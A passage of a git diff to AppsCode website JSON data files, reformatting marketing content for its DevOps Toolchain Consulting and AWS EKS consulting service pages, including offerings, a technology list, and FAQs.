"Travel & Hospitality", - "description": "Deliver seamless operations with instant updates using cost-effective, scalable systems." - } - ] - }, - "tech_stack": { - "title": "Technical Expertise", - "subtitle": "Our certified engineers excel in:", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Optimize Your DevOps Toolchain?", - "subtitle": "Talk to our certified DevOps consultants to automate and scale your delivery pipelines efficiently.", - "buttons": [ - { - "text": "Talk to a DevOps Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why Choose AppsCode for DevOps Toolchain Consulting?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Certified DevOps Engineers", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-briefcase", - "title": "Proven Domain Expertise", - "description": "Implemented enterprise-grade CI/CD and automation pipelines across 100+ clients globally." - }, - { - "icon": "fa fa-trophy", - "title": "First Mover Advantage", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "End-to-End Training & Support", - "description": "Empower your teams with practical DevOps and toolchain workshops for long-term self-sufficiency." - }, - { - "icon": "fa fa-users", - "title": "Scalable & Reliable Partnership", - "description": "Easily scale your DevOps teams and capabilities with AppsCode’s managed expertise." - } - ] - }, - "faq": [ - { - "question": "What do your DevOps Toolchain Consulting services include?", - "answer": "Our DevOps Toolchain Consulting services help organizations design, implement, and optimize the full DevOps toolchain. This includes CI/CD pipelines, configuration management, monitoring, logging, containerization, and automation to improve collaboration, speed, and reliability across development and operations teams." - }, - { - "question": "Which technologies and practices are used in DevOps toolchain consulting?", - "answer": "We leverage tools such as Jenkins, GitLab CI/CD, GitHub Actions, ArgoCD, Terraform, Ansible, Docker, Kubernetes, and observability platforms. Our approach ensures integrated workflows, automated processes, and efficient deployment practices aligned with DevOps principles." - }, - { - "question": "Can you integrate with our existing DevOps toolchain?", - "answer": "Yes — we assess your current toolchain and workflows, integrate best practices, optimize automation, and ensure seamless interoperability between tools to improve efficiency, reduce errors, and accelerate delivery." - }, - { - "question": "What is the typical timeline and engagement model for DevOps Toolchain Consulting?", - "answer": "Engagements typically start with a 1–2 week assessment phase to understand your existing processes and tools. Implementation follows in 4–8 week sprints depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term advisory partnerships." - }, - { - "question": "Do DevOps Toolchain Consulting services support multi-cloud or hybrid environments?", - "answer": "Absolutely. We design DevOps toolchains that work across AWS, Azure, GCP, and on-premises environments, ensuring consistent, automated workflows and operational reliability across platforms." - }, - { - "question": "How do you ensure security, reliability, and efficiency in the DevOps toolchain?", - "answer": "We enforce security best practices including access control, secrets management, and auditability. Reliability is ensured with automated testing, monitoring, and disaster recovery strategies. Efficiency is achieved through streamlined workflows, automation, and optimized integration between tools." - }, - { - "question": "What happens after DevOps Toolchain Consulting and implementation?", - "answer": "After implementation, we provide ongoing guidance, monitoring, optimization, and knowledge transfer. Our services include continuous improvement recommendations to maintain a robust, automated, and efficient DevOps toolchain." - }, - { - "question": "How much do DevOps Toolchain Consulting services cost, and what are the pricing models?", - "answer": "Pricing depends on toolchain complexity, number of teams, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "DevOps Toolchain Consulting & Implementation Services", + "subtitle": "Design, automate, and optimize your CI/CD pipelines with a cloud-native DevOps toolchain built for speed, scalability, and security.", + "cta_text": "Talk to a DevOps Toolchain Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/devops-toolchain-consulting-hero.png", + "alt": "DevOps Toolchain Consulting Services" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Invest in DevOps Toolchain Consulting?", + "areas": [ + { + "icon": "fa fa-code", + "title": "Automated CI/CD Workflows" + }, + { + "icon": "fa fa-users", + "title": "Improved Collaboration Between Dev & Ops" + }, + { + "icon": "fa fa-clock-o", + "title": "Accelerated Software Delivery" + }, + { + "icon": "fa fa-bug", + "title": "Enhanced Testing & Quality Assurance" + }, + { + "icon": "fa fa-cogs", + "title": "Reduced Deployment Risks" + }, + { + "icon": "fa fa-database", + "title": "Consistent & Reliable Releases" + } + ] + }, + "service_details": { + "title": "Our DevOps Toolchain Consulting Services", + "subtitle": "We design, integrate, and manage DevOps toolchains that empower teams to automate end-to-end software delivery pipelines.", + "sections": [ + { + "title": "Toolchain Assessment & Gap Analysis", + "description": "Our DevOps experts evaluate your current toolchain, analyze performance bottlenecks, and recommend improvements for a fully automated CI/CD ecosystem.", + "offerings": [ + "Comprehensive audit of your DevOps processes and automation maturity.", + "Identify gaps between your current setup and modern DevOps standards.", + "Recommend tool integration strategies for faster deployments.", + "Benchmark against leading practices from CNCF and GitLab ecosystems." + ], + "image": "/assets/images/services/toolchain-analysis.png" + }, + { + "title": "DevOps Toolchain Design & Implementation", + "description": "We build or optimize your toolchain architecture—integrating the best tools like Jenkins, ArgoCD, GitLab CI/CD, and Terraform to streamline workflows.", + "offerings": [ + "Custom DevOps toolchain design aligned with your cloud strategy.", + "Integrate open-source and enterprise-grade DevOps tools seamlessly.", + "Automate code builds, tests, and deployments for continuous delivery.", + "Ensure cloud-native compatibility with Kubernetes, Helm, and Kustomize." + ], + "image": "/assets/images/services/process-design-implementation.png" + }, + { + "title": "DevOps Training & Enablement", + "description": "Empower your teams to manage, monitor, and evolve your toolchain with confidence and consistency.", + "offerings": [ + "Hands-on training on tools like ArgoCD, Jenkins, GitHub Actions, and Terraform.", + "Guidance on GitOps adoption for improved reliability and observability.", + "Create in-house DevOps champions through role-based workshops." + ], + "image": "/assets/images/services/toolchain-training.png" + }, + { + "title": "Managed DevOps Toolchain Services", + "description": "We handle your DevOps toolchain operations end-to-end — from configuration and monitoring to optimization and updates.", + "offerings": [ + "24/7 toolchain monitoring and maintenance.", + "Proactive updates and patch management to minimize disruptions.", + "Support for hybrid, multi-cloud, and on-prem DevOps environments.", + "Leverage our [Kubernetes Consulting](https://appscode.com/services/kubernetes-consulting/) and [GitOps Services](https://appscode.com/services/gitops-consulting/) for complete cloud-native automation." + ], + "image": "/assets/images/services/managed-devops-services.png" + } + ] + }, + "industries": { + "title": "DevOps Toolchain Expertise Across Industries", + "subtitle": "From startups to global enterprises, our DevOps consulting services drive automation, scalability, and reliability.", + "additional_text": "We bring deep domain experience in critical sectors with strict compliance and uptime requirements.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Ensure highly available, compliant systems for 24/7 transaction processing and payments." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate AI and manage high-performance cloud infrastructure efficiently." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI & ML to meet rising customer expectations while ensuring safety and sustainability." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize operations for inspections, resource monitoring, and cost optimization." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Process patient data efficiently to meet rapidly evolving healthcare demands." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless operations with instant updates using cost-effective, scalable systems." + } + ] + }, + "tech_stack": { + "title": "Technical Expertise", + "subtitle": "Our certified engineers excel in:", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Optimize Your DevOps Toolchain?", + "subtitle": "Talk to our certified DevOps consultants to automate and scale your delivery pipelines efficiently.", + "buttons": [ + { + "text": "Talk to a DevOps Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why Choose AppsCode for DevOps Toolchain Consulting?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Certified DevOps Engineers", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-briefcase", + "title": "Proven Domain Expertise", + "description": "Implemented enterprise-grade CI/CD and automation pipelines across 100+ clients globally." + }, + { + "icon": "fa fa-trophy", + "title": "First Mover Advantage", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "End-to-End Training & Support", + "description": "Empower your teams with practical DevOps and toolchain workshops for long-term self-sufficiency." + }, + { + "icon": "fa fa-users", + "title": "Scalable & Reliable Partnership", + "description": "Easily scale your DevOps teams and capabilities with AppsCode’s managed expertise." + } + ] + }, + "faq": [ + { + "question": "What do your DevOps Toolchain Consulting services include?", + "answer": "Our DevOps Toolchain Consulting services help organizations design, implement, and optimize the full DevOps toolchain. This includes CI/CD pipelines, configuration management, monitoring, logging, containerization, and automation to improve collaboration, speed, and reliability across development and operations teams." + }, + { + "question": "Which technologies and practices are used in DevOps toolchain consulting?", + "answer": "We leverage tools such as Jenkins, GitLab CI/CD, GitHub Actions, ArgoCD, Terraform, Ansible, Docker, Kubernetes, and observability platforms. Our approach ensures integrated workflows, automated processes, and efficient deployment practices aligned with DevOps principles." + }, + { + "question": "Can you integrate with our existing DevOps toolchain?", + "answer": "Yes — we assess your current toolchain and workflows, integrate best practices, optimize automation, and ensure seamless interoperability between tools to improve efficiency, reduce errors, and accelerate delivery." + }, + { + "question": "What is the typical timeline and engagement model for DevOps Toolchain Consulting?", + "answer": "Engagements typically start with a 1–2 week assessment phase to understand your existing processes and tools. Implementation follows in 4–8 week sprints depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term advisory partnerships." + }, + { + "question": "Do DevOps Toolchain Consulting services support multi-cloud or hybrid environments?", + "answer": "Absolutely. We design DevOps toolchains that work across AWS, Azure, GCP, and on-premises environments, ensuring consistent, automated workflows and operational reliability across platforms." + }, + { + "question": "How do you ensure security, reliability, and efficiency in the DevOps toolchain?", + "answer": "We enforce security best practices including access control, secrets management, and auditability. Reliability is ensured with automated testing, monitoring, and disaster recovery strategies. Efficiency is achieved through streamlined workflows, automation, and optimized integration between tools." + }, + { + "question": "What happens after DevOps Toolchain Consulting and implementation?", + "answer": "After implementation, we provide ongoing guidance, monitoring, optimization, and knowledge transfer. Our services include continuous improvement recommendations to maintain a robust, automated, and efficient DevOps toolchain." + }, + { + "question": "How much do DevOps Toolchain Consulting services cost, and what are the pricing models?", + "answer": "Pricing depends on toolchain complexity, number of teams, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ] +} diff --git a/data/services/application-modernization/eks_consulting_partner.json b/data/services/application-modernization/eks_consulting_partner.json index 7d8a881a9c..f5c11c09f9 100644 --- a/data/services/application-modernization/eks_consulting_partner.json +++ b/data/services/application-modernization/eks_consulting_partner.json @@ -1,333 +1,333 @@ -{ - "hero": { - "title": "AWS EKS Consulting Services by Experts", - "subtitle": "AppsCode is an AWS Marketplace partner — delivering expert EKS consulting, deployment, optimization, and managed enterprise support.", - "cta_text": "Talk to an EKS Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/kubernetes-consulting.png", - "alt": "AWS EKS Consulting Services by AppsCode" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose Our EKS Consulting Services?", - "areas": [ - { - "icon": "fa fa-lightbulb-o", - "title": "Agile & Scalable EKS Architecture" - }, - { - "icon": "fa fa-tachometer", - "title": "High-Performance EKS Deployments" - }, - { - "icon": "fa fa-cogs", - "title": "Accelerated App Development on EKS" - }, - { - "icon": "fa fa-money", - "title": "Optimize AWS Cloud Costs" - }, - { - "icon": "fa fa-cloud", - "title": "Multi-Cloud & Hybrid Kubernetes Flexibility" - }, - { - "icon": "fa fa-shield", - "title": "Self-Healing & Secure Container Environments" - }, - { - "icon": "fa fa-arrows-alt", - "title": "Migrate & Containerize Legacy Applications" - }, - { - "icon": "fa fa-repeat", - "title": "Automated CI/CD Rollouts & Rollbacks" - } - ] - }, - "service_details": { - "title": "Our End-to-End EKS Consulting Services", - "subtitle": "As an AWS Marketplace partner and CNCF Silver Member, AppsCode delivers expert EKS consulting — from planning to production management.", - "sections": [ - { - "title": "EKS Advisory & Assessment", - "description": "Start your EKS journey with confidence. Our experts assess your current AWS infrastructure, plan seamless migration to EKS, and design a scalable architecture optimized for your workloads.", - "offerings": [ - "Conduct AWS infrastructure audits and plan EKS adoption.", - "Create a roadmap for efficient EKS deployment across regions.", - "Provide detailed cost analysis and workload optimization." - ], - "image": "/assets/images/services/kubernetes-advisory.png" - }, - { - "title": "Application Development & Migration", - "description": "Modernize your workloads with EKS-native applications and migrate monoliths into containerized microservices for better agility and performance.", - "offerings": [ - "Develop EKS-ready applications using Go, Java, and Python.", - "Break monolithic architectures into resilient microservices.", - "Implement centralized management across multi-cluster EKS environments." - ], - "image": "/assets/images/services/kubernetes-application-development.png" - }, - { - "title": "EKS Deployment & Operations", - "description": "Deploy production-grade EKS clusters with high availability, resilience, and observability built in, leveraging native AWS integrations.", - "offerings": [ - "Provision auto-healing EKS clusters using Terraform, Crossplane, and eksctl.", - "Integrate observability with Amazon CloudWatch, Prometheus, Grafana, and Thanos.", - "Automate cluster scaling, upgrades, and security policies." - ], - "image": "/assets/images/services/kubernetes-deployment-partner.png" - }, - { - "title": "DevSecOps, Security & Compliance", - "description": "Shift security left in your EKS lifecycle. Our DevSecOps services ensure compliance and security at every layer of your containerized environment.", - "offerings": [ - "Implement IAM roles for service accounts (IRSA), RBAC, and network segmentation.", - "Automate container image scanning with tools like Trivy and ECR image scanning.", - "Ensure compliance with ISO, HIPAA, SOC 2, and GDPR standards." - ], - "image": "/assets/images/services/kubernetes-devsecops-compliance.png" - }, - { - "title": "Enterprise EKS Support & Training", - "description": "AppsCode provides continuous EKS support, training, and managed services to ensure operational excellence and long-term stability.", - "offerings": [ - "Real-time monitoring, backup, and disaster recovery using Stash.", - "Training for DevOps teams to manage EKS independently.", - "Cost management and resource optimization for EKS clusters." - ], - "image": "/assets/images/services/kubernetes-enterprise-support-training.png" - } - ] - }, - "industries": { - "title": "Industry Expertise in EKS Consulting", - "subtitle": "Our EKS consulting services empower over 100 clients across regulated industries with high-performance, compliant, and reliable infrastructure.", - "additional_text": "We serve global enterprises and startups with deep expertise in cloud-native and EKS solutions.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Highly available, compliant systems for secure 24/7 transactions." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate AI and manage GPU servers for high-performance SaaS platforms." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize systems for inspections, monitoring, and cost reduction." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Use cloud GPU instances for fast, secure processing of patient data." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless operations and instant updates with scalable systems." - } - ] - }, - "tech_stack": { - "title": "Our EKS Technology Expertise", - "subtitle": "We use proven cloud-native tools and frameworks to deliver enterprise-grade EKS consulting services.", - "technologies": [ - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Accelerate with EKS Consulting Services?", - "subtitle": "Get expert EKS consulting, managed support, and hands-on training to optimize your cloud-native infrastructure.", - "buttons": [ - { - "text": "Talk to an EKS Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why AppsCode is the Right EKS Consulting Partner?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "AWS Marketplace Partner", - "description": "AppsCode is listed on the AWS Marketplace with AppsCode Cloud for EKS-based cluster management and database provisioning." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "World-Class EKS Expertise", - "description": "50+ engineers specializing in EKS, Kubernetes, containers, and cloud-native platforms — helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-trophy", - "title": "Industry Leadership", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise on EKS." - }, - { - "icon": "fa fa-graduation-cap", - "title": "EKS Training Programs", - "description": "Hands-on EKS workshops and cloud-native upskilling for DevOps teams." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Scalable Dedicated Teams", - "description": "Easily scale your engineering teams with AppsCode's EKS experts." - } - ] - }, - "partner_listing": { - "title": "Our Products on AWS Marketplace", - "subtitle": "AppsCode is an AWS Marketplace partner. Deploy and manage production-grade databases on EKS clusters directly from AWS Marketplace.", - "products": [ - { - "name": "AppsCode Cloud on AWS", - "description": "Kubernetes Native Data Platform — deploy a central management console for all your EKS clusters to provision and manage production-grade databases.", - "url": "https://aws.amazon.com/marketplace/pp/prodview-izn7wxvkpbjuo", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "AppsCode Inc. Seller Profile", - "description": "Browse all AppsCode products and solutions available on the AWS Marketplace.", - "url": "https://aws.amazon.com/marketplace/seller-profile?id=seller-6nyynzztrttiq", - "logo": "/assets/images/technical-expertise/eks.svg" - } - ] - }, - "faq": [ - { - "question": "What do your EKS Consulting Services include?", - "answer": "Our EKS Consulting Services cover the full lifecycle of designing, deploying, and managing EKS clusters. From architecture design, cluster provisioning, and CI/CD integration to monitoring, scaling, and optimization, we help organizations run reliable and secure containerized workloads at scale on Amazon EKS." - }, - { - "question": "Is AppsCode available on AWS Marketplace?", - "answer": "Yes — AppsCode is listed on the AWS Marketplace with AppsCode Cloud, a Kubernetes Native Data Platform for EKS-based cluster management. Visit aws.amazon.com/marketplace/seller-profile?id=seller-6nyynzztrttiq to view our offerings." - }, - { - "question": "Which technologies and practices are used in EKS consulting?", - "answer": "We leverage EKS, eksctl, Terraform, Helm charts, operators, containerization, CI/CD pipelines, infrastructure as code, observability (CloudWatch, Prometheus, Grafana), and hybrid/multi-cloud deployment patterns to ensure scalable and resilient EKS environments." - }, - { - "question": "Can you work with our existing EKS clusters or AWS-native stack?", - "answer": "Yes — we integrate with your current EKS clusters and workloads, optimize performance, implement best practices, and guide teams in building production-ready, secure, and maintainable EKS deployments." - }, - { - "question": "What is the typical timeline and engagement model for EKS Consulting Services?", - "answer": "Engagements typically begin with a 1–2 week assessment phase to understand your environment and requirements. Implementation follows in 4–8 week agile sprints. We offer flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term EKS advisory partnerships." - }, - { - "question": "Do you support hybrid and multi-cloud EKS deployments?", - "answer": "Absolutely. Our EKS Consulting Services are designed for portability and consistency across AWS and other cloud environments, ensuring seamless operations and scalability across environments." - }, - { - "question": "How do you ensure security, reliability, and operational efficiency in EKS?", - "answer": "We enforce security best practices including IAM roles for service accounts (IRSA), RBAC, network policies, secrets management, and vulnerability scanning. Reliability is ensured with monitoring, backup/recovery strategies, and disaster resilience patterns. Operational efficiency is achieved through automation, CI/CD integration, and resource optimization." - }, - { - "question": "What happens after EKS consulting and implementation?", - "answer": "After deployment, we provide ongoing operational guidance, monitoring, performance tuning, and scaling recommendations. Our EKS Consulting Services also include training, knowledge transfer, and best practice documentation for your teams." - }, - { - "question": "How much do EKS Consulting Services cost, and what are the pricing models?", - "answer": "Costs vary depending on the complexity of your clusters, number of workloads, and support needs. We offer fixed-scope projects, hourly engagements, and long-term consulting retainers. A detailed proposal is provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "AWS EKS Consulting Services by Experts", + "subtitle": "AppsCode is an AWS Marketplace partner — delivering expert EKS consulting, deployment, optimization, and managed enterprise support.", + "cta_text": "Talk to an EKS Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/kubernetes-consulting.png", + "alt": "AWS EKS Consulting Services by AppsCode" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose Our EKS Consulting Services?", + "areas": [ + { + "icon": "fa fa-lightbulb-o", + "title": "Agile & Scalable EKS Architecture" + }, + { + "icon": "fa fa-tachometer", + "title": "High-Performance EKS Deployments" + }, + { + "icon": "fa fa-cogs", + "title": "Accelerated App Development on EKS" + }, + { + "icon": "fa fa-money", + "title": "Optimize AWS Cloud Costs" + }, + { + "icon": "fa fa-cloud", + "title": "Multi-Cloud & Hybrid Kubernetes Flexibility" + }, + { + "icon": "fa fa-shield", + "title": "Self-Healing & Secure Container Environments" + }, + { + "icon": "fa fa-arrows-alt", + "title": "Migrate & Containerize Legacy Applications" + }, + { + "icon": "fa fa-repeat", + "title": "Automated CI/CD Rollouts & Rollbacks" + } + ] + }, + "service_details": { + "title": "Our End-to-End EKS Consulting Services", + "subtitle": "As an AWS Marketplace partner and CNCF Silver Member, AppsCode delivers expert EKS consulting — from planning to production management.", + "sections": [ + { + "title": "EKS Advisory & Assessment", + "description": "Start your EKS journey with confidence. Our experts assess your current AWS infrastructure, plan seamless migration to EKS, and design a scalable architecture optimized for your workloads.", + "offerings": [ + "Conduct AWS infrastructure audits and plan EKS adoption.", + "Create a roadmap for efficient EKS deployment across regions.", + "Provide detailed cost analysis and workload optimization." + ], + "image": "/assets/images/services/kubernetes-advisory.png" + }, + { + "title": "Application Development & Migration", + "description": "Modernize your workloads with EKS-native applications and migrate monoliths into containerized microservices for better agility and performance.", + "offerings": [ + "Develop EKS-ready applications using Go, Java, and Python.", + "Break monolithic architectures into resilient microservices.", + "Implement centralized management across multi-cluster EKS environments." + ], + "image": "/assets/images/services/kubernetes-application-development.png" + }, + { + "title": "EKS Deployment & Operations", + "description": "Deploy production-grade EKS clusters with high availability, resilience, and observability built in, leveraging native AWS integrations.", + "offerings": [ + "Provision auto-healing EKS clusters using Terraform, Crossplane, and eksctl.", + "Integrate observability with Amazon CloudWatch, Prometheus, Grafana, and Thanos.", + "Automate cluster scaling, upgrades, and security policies." + ], + "image": "/assets/images/services/kubernetes-deployment-partner.png" + }, + { + "title": "DevSecOps, Security & Compliance", + "description": "Shift security left in your EKS lifecycle. Our DevSecOps services ensure compliance and security at every layer of your containerized environment.", + "offerings": [ + "Implement IAM roles for service accounts (IRSA), RBAC, and network segmentation.", + "Automate container image scanning with tools like Trivy and ECR image scanning.", + "Ensure compliance with ISO, HIPAA, SOC 2, and GDPR standards." + ], + "image": "/assets/images/services/kubernetes-devsecops-compliance.png" + }, + { + "title": "Enterprise EKS Support & Training", + "description": "AppsCode provides continuous EKS support, training, and managed services to ensure operational excellence and long-term stability.", + "offerings": [ + "Real-time monitoring, backup, and disaster recovery using Stash.", + "Training for DevOps teams to manage EKS independently.", + "Cost management and resource optimization for EKS clusters." + ], + "image": "/assets/images/services/kubernetes-enterprise-support-training.png" + } + ] + }, + "industries": { + "title": "Industry Expertise in EKS Consulting", + "subtitle": "Our EKS consulting services empower over 100 clients across regulated industries with high-performance, compliant, and reliable infrastructure.", + "additional_text": "We serve global enterprises and startups with deep expertise in cloud-native and EKS solutions.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Highly available, compliant systems for secure 24/7 transactions." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate AI and manage GPU servers for high-performance SaaS platforms." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize systems for inspections, monitoring, and cost reduction." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Use cloud GPU instances for fast, secure processing of patient data." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless operations and instant updates with scalable systems." + } + ] + }, + "tech_stack": { + "title": "Our EKS Technology Expertise", + "subtitle": "We use proven cloud-native tools and frameworks to deliver enterprise-grade EKS consulting services.", + "technologies": [ + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + 